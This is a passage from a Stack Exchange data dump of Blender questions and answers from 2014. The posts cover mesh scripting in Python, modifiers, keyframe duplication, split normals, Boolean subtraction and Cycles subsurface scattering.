noreferrer&quot;&gt;&lt;code&gt;select&lt;/code&gt;&lt;/a&gt; property to &lt;code&gt;True&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-06-17T09:00:52.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12293" PostTypeId="2" ParentId="12291" CreationDate="2014-06-17T09:27:26.790" Score="10" Body="&lt;p&gt;Worked for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj  = bpy.data.objects['Cube']&#xA;mesh = obj.data&#xA;vert = mesh.vertices[0]&#xA;mat_world = obj.matrix_world&#xA;&#xA;pos_world = mat_world * vert.co&#xA;pos_world.z += 0.1&#xA;vert.co = mat_world.inverted() * pos_world&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're editing a lot of vertices then you might want to compose the matrix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from mathutils import Vector, Matrix&#xA;&#xA;vec = Vector((0.0, 0.0, 0.1))  &#xA;mat_edit = mat_world.inverted() * Matrix.Translate(vec) * mat_world&#xA;&#xA;vert.co = mat_edit * vert.co&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-06-17T09:27:26.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12294" PostTypeId="2" ParentId="12291" CreationDate="2014-06-17T10:09:21.047" Score="1" Body="&lt;p&gt;The answer of &quot;pink vertex&quot; is a great idea but finally I fixed the problem like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in range( 0, len(poligonos) ):&#xA;    v = mesh.getVertex(0, poligonos[i])&#xA;    glo = mat * v.XYZ&#xA;    glo.z += 0.1&#xA;    v.XYZ = mat.inverted() * glo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2821" LastActivityDate="2014-06-17T10:09:21.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12295" PostTypeId="1" CreationDate="2014-06-17T15:45:33.360" Score="0" ViewCount="1665" Body="&lt;p&gt;I have high quality scans of my leg, I am trying to print a 1/4&quot; thick shell for it.  I assumed it would be something with the extrude function, but I cannot figure it out.  Anyone have a little walk through or willing to explain the steps to a complete newb?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want the outside of my scan mesh to become the inside of my print model, with uniform thickness all around my calf and under my foot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for any help you can offer.&lt;/p&gt;&#xA;" OwnerUserId="4864" LastEditorUserId="2217" LastEditDate="2014-06-17T18:05:26.910" LastActivityDate="2014-06-17T18:22:01.897" Title="Uniform wall thickness for a 3D print" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;3d-printing&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-06-18T15:24:34.990" ContentLicense="CC BY-SA 3.0" />
  <row Id="12296" PostTypeId="1" AcceptedAnswerId="12308" CreationDate="2014-06-17T17:04:38.643" Score="4" ViewCount="1646" Body="&lt;p&gt;I have a spherically tapered cylinder that I'm trying to apply smooth shading to, partially.  (Sorry for the terrible description, picture below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rEeqr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to apply smooth shading to vertical rings in the picture - I like the defined edges that run along the x-axis.  I tried selecting only those rings in edit mode and applying smooth vertex, but that didn't appear to do anything.  Will, I have to put in loop cuts for each x-axis line, then add an edge split with smooth shading to get my desired effect?&lt;/p&gt;&#xA;" OwnerUserId="4861" LastActivityDate="2014-06-17T19:36:43.560" Title="Smooth Shading on specifically-oriented edges" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12297" PostTypeId="1" AcceptedAnswerId="12298" CreationDate="2014-06-17T17:29:26.057" Score="3" ViewCount="1982" Body="&lt;p&gt;I am creating an animated title screen and want to have the animation repeat a certain frame, so text can be shown for a longer period as if the animation had been paused before continuing the rest of the animation.&lt;/p&gt;&#xA;" OwnerUserId="4865" LastEditorUserId="1112" LastEditDate="2014-06-17T20:37:20.197" LastActivityDate="2014-06-18T00:46:47.290" Title="Make a keyframe last longer than one frame" Tags="&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12298" PostTypeId="2" ParentId="12297" CreationDate="2014-06-17T17:57:47.543" Score="2" Body="&lt;p&gt;You can duplicate the desired keyframe(s) and move it further in the timeline. As it interpolates between those two points, the animation will freeze at that keyframe for as long as you specify. &lt;/p&gt;&#xA;" OwnerUserId="4866" LastActivityDate="2014-06-17T17:57:47.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12299" PostTypeId="1" AcceptedAnswerId="12300" CreationDate="2014-06-17T18:12:01.607" Score="3" ViewCount="1459" Body="&lt;p&gt;I'm trying to make some Grass in Blender 2.7a but, I can't seem to find the Velocity in the Hair emitter settings, nor the Rotation, I use these to add random Velocity and rotation to my grass, can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="4867" LastActivityDate="2014-06-17T18:30:05.327" Title="Where is Particle Velocity and Rotation in Blender 2.7a?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12300" PostTypeId="2" ParentId="12299" CreationDate="2014-06-17T18:21:05.740" Score="2" Body="&lt;p&gt;Velocity is a setting category for both emitter and hair types of particles. If you are using the &lt;em&gt;hair&lt;/em&gt; type of particles, click on the &lt;em&gt;advanced&lt;/em&gt; check mark (Under the &lt;em&gt;type&lt;/em&gt; drop down box). If you are using the &lt;em&gt;emitter&lt;/em&gt; type then you should see it by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For random looking grass, I would recommend you use &lt;em&gt;Brownian&lt;/em&gt; under the Physics category then &lt;em&gt;Newtonian&lt;/em&gt; type.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-06-17T18:30:05.327" LastActivityDate="2014-06-17T18:30:05.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12301" PostTypeId="2" ParentId="12295" CreationDate="2014-06-17T18:22:01.897" Score="2" Body="&lt;p&gt;Instead of using the extrude function, try using the Solidify modifier on the object and play with the settings. &lt;/p&gt;&#xA;" OwnerUserId="4866" LastActivityDate="2014-06-17T18:22:01.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12302" PostTypeId="2" ParentId="12297" CreationDate="2014-06-17T18:27:06.757" Score="6" Body="&lt;p&gt;As Puck suggested, you can duplicate keyframes to achieve this effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, open one of the keyframe editors. I'd use the Dope Sheet view for this task since you need adjust the keyframes in the timeline, but don't necessarily need to change their location/rotation data.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sXmuv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure to deselect all keyframes by hitting &lt;Kbd&gt;A&lt;/Kbd&gt;. The keyframes will be white when deselected. Now select the keyframes you want to duplicate by hitting &lt;Kbd&gt;B&lt;/Kbd&gt; and using your mouse to drag a box around them. The selected keyframes will turn orange.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KZCBM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hit &lt;Kbd&gt;Shift&lt;/Kbd&gt;&lt;Kbd&gt;D&lt;/Kbd&gt; to duplicate them and move the mouse. The keyrames will follow, so you can position them in the timeline. There will be an orange line signaling duplicated keyframes and the length of the pause the animation.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CSu6R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to move the keyframes again, hit &lt;Kbd&gt;G&lt;/Kbd&gt; to grab and re position them again.&lt;/p&gt;&#xA;" OwnerUserId="1170" LastEditorDisplayName="user1853" LastEditDate="2014-06-18T00:46:47.290" LastActivityDate="2014-06-18T00:46:47.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12303" PostTypeId="1" AcceptedAnswerId="12305" CreationDate="2014-06-17T18:45:01.333" Score="7" ViewCount="1247" Body="&lt;p&gt;In the 3D view port's header, what does the button next to the &lt;em&gt;Pivot Point&lt;/em&gt; button do? The button in question has a shortcut of &lt;kbd&gt;alt&lt;/kbd&gt; &lt;kbd&gt;,&lt;/kbd&gt;. It is in the red square in the picture below. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/PfwYU.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is it use for and how is it used?&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-06-17T19:15:04.577" Title="What does the button next to the Pivot Point button do?" Tags="&lt;interface&gt;&lt;workflow&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12304" PostTypeId="2" ParentId="12303" CreationDate="2014-06-17T19:07:42.747" Score="4" Body="&lt;p&gt;It is the pivot point align option, it allows to rotated or scale selected objects relative to the selected pivot point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this animated gif the pivot point is set to &lt;em&gt;3D-Cursor&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jrgnp.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1308/scale-space-between-multiple-objects/1310#1310&quot;&gt;Scale Space Between Multiple Objects&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-06-17T19:07:42.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12305" PostTypeId="2" ParentId="12303" CreationDate="2014-06-17T19:09:55.570" Score="8" Body="&lt;p&gt;That button  is the &lt;em&gt;manipulate center points&lt;/em&gt; option, which allows you to manipulate the origins of objects without affecting the rotation and scale of the objects themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I scale these objects without it enabled, they are stretched. With it enabled, only the origins are moved (only affecting object location):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6jIm4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that with only one object selected, enabling this option will cause scaling or rotating the object to do nothing.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-06-17T19:15:04.577" LastActivityDate="2014-06-17T19:15:04.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12307" PostTypeId="2" ParentId="12296" CreationDate="2014-06-17T19:27:54.357" Score="0" Body="&lt;p&gt;you just have to wait for 2.71 ! It has custom normals, so you'll be able to specify which edges are sharp, which ones are smooth. As of now we can't except with an edgesplit modifier which is destructive. Wait a few days ! ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hadrien&lt;/p&gt;&#xA;" OwnerUserId="4869" LastActivityDate="2014-06-17T19:27:54.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12308" PostTypeId="2" ParentId="12296" CreationDate="2014-06-17T19:36:43.560" Score="8" Body="&lt;p&gt;As of &lt;a href=&quot;https://developer.blender.org/D11#comment-26&quot; rel=&quot;noreferrer&quot;&gt;this commit&lt;/a&gt; (&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.71/Modeling&quot; rel=&quot;noreferrer&quot;&gt;will be in blender 2.71&lt;/a&gt;), blender has support for split normals. You can download 2.71 release candidate 2 &lt;a href=&quot;http://ftp.nluug.nl/pub/graphics/blender/release/Blender2.71/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set your object to smooth shading.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;auto smooth&lt;/em&gt; in &lt;em&gt;Properties &gt; object data&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZbIWy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select every edge loop and mark it as sharp:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; on one of edge loops you want to make sharp to select that edge ring.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;em&gt;Edge Loop&lt;/em&gt; in &lt;em&gt;3D view &gt; Header &gt; Select&lt;/em&gt; to select the rest of the loops.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;em&gt;Sharp&lt;/em&gt; in &lt;em&gt;3D view &gt; Tool shelf &gt; Shading / UV &gt; Shading &gt; Edges&lt;/em&gt;, or press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;&lt;em&gt;&gt; Mark Sharp&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gfNGk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Result:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p1Lbo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-17T19:36:43.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12310" PostTypeId="1" AcceptedAnswerId="12313" CreationDate="2014-06-17T22:09:07.960" Score="2" ViewCount="2301" Body="&lt;p&gt;I am watching &lt;a href=&quot;http://www.youtube.com/watch?v=jg-GUvYRHcU&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;this&lt;/strong&gt;&lt;/a&gt; tutorial on youtube:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bvACC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment, the tutor is merging the hand's vertexes to the arm's vertexes; the problem is that when I try to merge them like that, they don't really get really well merged and end up having empty space between them. This is what I am saying: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NsTJG.png&quot; alt=&quot;enter image description here&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this? Thank you already!&lt;/p&gt;&#xA;" OwnerUserId="4870" LastEditorUserId="599" LastEditDate="2014-06-17T23:22:14.483" LastActivityDate="2014-06-17T23:22:14.483" Title="Why is vertex snapping with auto merge enabled not merging vertices?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;vertices&gt;&lt;snapping&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12311" PostTypeId="1" AcceptedAnswerId="12312" CreationDate="2014-06-17T22:33:56.567" Score="26" ViewCount="65550" Body="&lt;p&gt;I have two models - we'll say a sphere and hollow cylinder - that I'm working with.  Effectively, I want to 'subtract' the hollow-cylinder shape from the sphere.  I know from certain orientations (the top of the sphere) this is fairly easily done, just a matter of deleting and creating new faces.  However, from other orientations the edges/geometry doesn't line up so easily.  Is there an automatic (or at least, not terribly difficult/manual) way to 'subtract' one mesh from another?&lt;/p&gt;&#xA;" OwnerUserId="4861" LastActivityDate="2017-02-18T12:17:58.573" Title="Subtracting Geometry?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12312" PostTypeId="2" ParentId="12311" CreationDate="2014-06-17T22:37:42.740" Score="34" Body="&lt;p&gt;You can use a &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/generate/booleans.html&quot; rel=&quot;noreferrer&quot;&gt;Boolean modifier&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, adding a boolean modifier to a sphere with the operation set to &lt;em&gt;Difference&lt;/em&gt;, the parts of the sphere which intersect the object specified in the modifier will be subtracted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DA1NM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a bonus, a quick way to select an object for a modifier (or anywhere a similar selection interface is used) is by pressing &lt;kbd&gt;E&lt;/kbd&gt; while hovering over the object selection drop down and clicking on the desired object in the 3D view.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="5695" LastEditDate="2017-02-18T12:17:58.573" LastActivityDate="2017-02-18T12:17:58.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12313" PostTypeId="2" ParentId="12310" CreationDate="2014-06-17T23:17:32.997" Score="4" Body="&lt;p&gt;The video is of 2.62, where this seems to work. In current versions of blender you need to disable &lt;em&gt;Applied edit cage&lt;/em&gt; on your modifiers for snapping + auto-merge to work reliably:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jC2tA.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've reported this &lt;a href=&quot;https://developer.blender.org/T40680&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;However, in this case there are some potentially faster ways to merge these loops.&lt;/p&gt;&#xA;&lt;h2&gt;Loops with equal vertex count, but not necessarily even vertex placement:&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select both loops and press &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&amp;gt; Bridge Edge loops&lt;/em&gt; (&lt;kbd&gt;E&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to edge select mode (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;em&gt;&amp;gt;&lt;/em&gt; Edge) and select the newly created edge ring by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; over one of the new edges.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;&lt;em&gt;&amp;gt; Collapse&lt;/em&gt; to collapse the selected edges.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n3sGc.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Loops with lined up vertices, but not necessarily the same vertex count:&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&amp;gt; Remove doubles&lt;/em&gt; and up the merge distance in the redo panel (&lt;kbd&gt;F6&lt;/kbd&gt;). This will result in triangles with uneven vertex counts, and it could produce tris even with equal vertex counts.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KpBFD.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-06-17T23:17:32.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12314" PostTypeId="1" AcceptedAnswerId="12324" CreationDate="2014-06-18T02:08:01.003" Score="3" ViewCount="2523" Body="&lt;p&gt;I want to rotate a single polygon so that it faces a point in space, ie the 3Dcursor or &lt;code&gt;vert.co&lt;/code&gt;. So that the normal of the polygon faces the point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading other Questions; &lt;code&gt;to_track_quat(track, up)&lt;/code&gt; should give me the Quaternion rotation I need if I first multiply it by the faces normal &quot;it might not be facing up&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is how do I rotate a polygon by a value, so that its normal faces something? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PUgiC.jpg&quot; alt=&quot;face needs to face the 3DCursor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ji523.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3141" LastEditorUserId="3141" LastEditDate="2014-06-19T17:58:23.473" LastActivityDate="2021-05-21T23:16:24.587" Title="In Python rotate a polygon to face something" Tags="&lt;python&gt;&lt;mesh&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12315" PostTypeId="1" CreationDate="2014-06-18T09:26:58.413" Score="5" ViewCount="4580" Body="&lt;p&gt;I'm trying to get a similar material to the plastic of a 3D print which is largely dominated by subsurface scattering (SSS):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aF6cE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a very simple SSS test in cycles produces this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LiogY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's an awful lot of lot of blue (I assume back-scattered light) at the corners that I can't get rid of. The same happens at smaller detailed bits of geometry in other tests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple answer is I've buggered up the properties and just need to change some numbers. If this isn't the case,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this simply a failure case of the current SSS method in cycles or the lack of some other physical phenomenon that isn't being modelled?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can this be avoided easily? If it's necessary to set up a complex network of nodes to hide the effect then maybe it's not worth the effort.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;[&lt;em&gt;EDIT&lt;/em&gt;]&lt;br/&gt;&#xA;OK, it doesn't look like forward/back scattering has anything to do with it. Small objects simply have the wrong colour, as in the following image. I'm pretty sure if I shaved off a chunk of my model it wouldn't turn blue/green.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RR6qS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Objects on the left have 0 sharpness while objects on the right have 1 which seems to alleviate the problem a little. I would have thought this is the wrong way round given the look (maybe sharpness should be roughness instead).&lt;/p&gt;&#xA;" OwnerUserId="1713" LastEditorUserId="241" LastEditDate="2020-05-27T13:28:59.290" LastActivityDate="2020-05-27T13:28:59.290" Title="Cycles SSS seemingly incorrect colour for thin surfaces or small objects" Tags="&lt;cycles-render-engine&gt;&lt;subsurface-scattering&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12316" PostTypeId="2" ParentId="12315" CreationDate="2014-06-18T10:43:06.213" Score="5" Body="&lt;p&gt;Without seeing your current setup (what you've already done), it's a little hard to say exactly what is going on and how to change it..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I came up with after a bit of fiddling (just trying to match the reference image by eye):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7TWnK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MUupf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-18T10:43:06.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12317" PostTypeId="1" AcceptedAnswerId="12322" CreationDate="2014-06-18T12:23:00.403" Score="0" ViewCount="386" Body="&lt;p&gt;I can see the &lt;strong&gt;test scene&lt;/strong&gt; which comprises of the 3D text &lt;strong&gt;Loom-Tastic&lt;/strong&gt; in the VSE, but when I render it disappears, Why? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;VSE&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SVj7f.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;RENDERED RESULT&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X8jaA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a link to my &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://app.box.com/s/gv8kmtowzx9blxcx0c0l&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4785" LastEditorUserId="2217" LastEditDate="2014-06-18T12:50:21.973" LastActivityDate="2014-06-18T14:38:18.247" Title="3D scene not visible in render" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12318" PostTypeId="1" AcceptedAnswerId="12335" CreationDate="2014-06-18T13:32:42.887" Score="4" ViewCount="1405" Body="&lt;p&gt;I am working on a Python script on Blender and I need the location of the focus point of the active camera. I know we can display the limits of a camera but I can't manage to get the exact position of the focus point using Python. &#xA;Could you help me to find it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an illustration with point of focus display (Yellow cross) :&lt;img src=&quot;https://i.stack.imgur.com/zcuuZ.png&quot; alt=&quot;Point of Focus (yellow cross)&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4874" LastActivityDate="2014-06-18T20:12:34.797" Title="Get position of Focus Point of Camera" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12319" PostTypeId="1" AcceptedAnswerId="12346" CreationDate="2014-06-18T13:41:13.777" Score="3" ViewCount="608" Body="&lt;p&gt;In the Renderman Shading Language, the whole purpose of a shader is to determine the final pixel color for each fragment. You have complete control over what the shader does and what the final color is. If you have a scene with a mountain covered in snow, with trees in the foreground and a lake, if you want the whole image to be completely red--like (255, 0, 0) red in every single pixel--you can do that by setting the final color at the end of each shader. It can completely disregard the lights, image textures and geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible in Cycles or OSL? I realize that the REYES algorithm is a very different beast than OSL closures in a unidirectional path tracer. But, can I override the physically-based-ness of Cycles in a shader?&lt;/p&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2014-06-19T08:30:31.153" Title="Override final pixel color in a Cycles/OSL shader?" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;&lt;osl&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ClosedDate="2014-06-19T12:22:04.917" ContentLicense="CC BY-SA 3.0" />
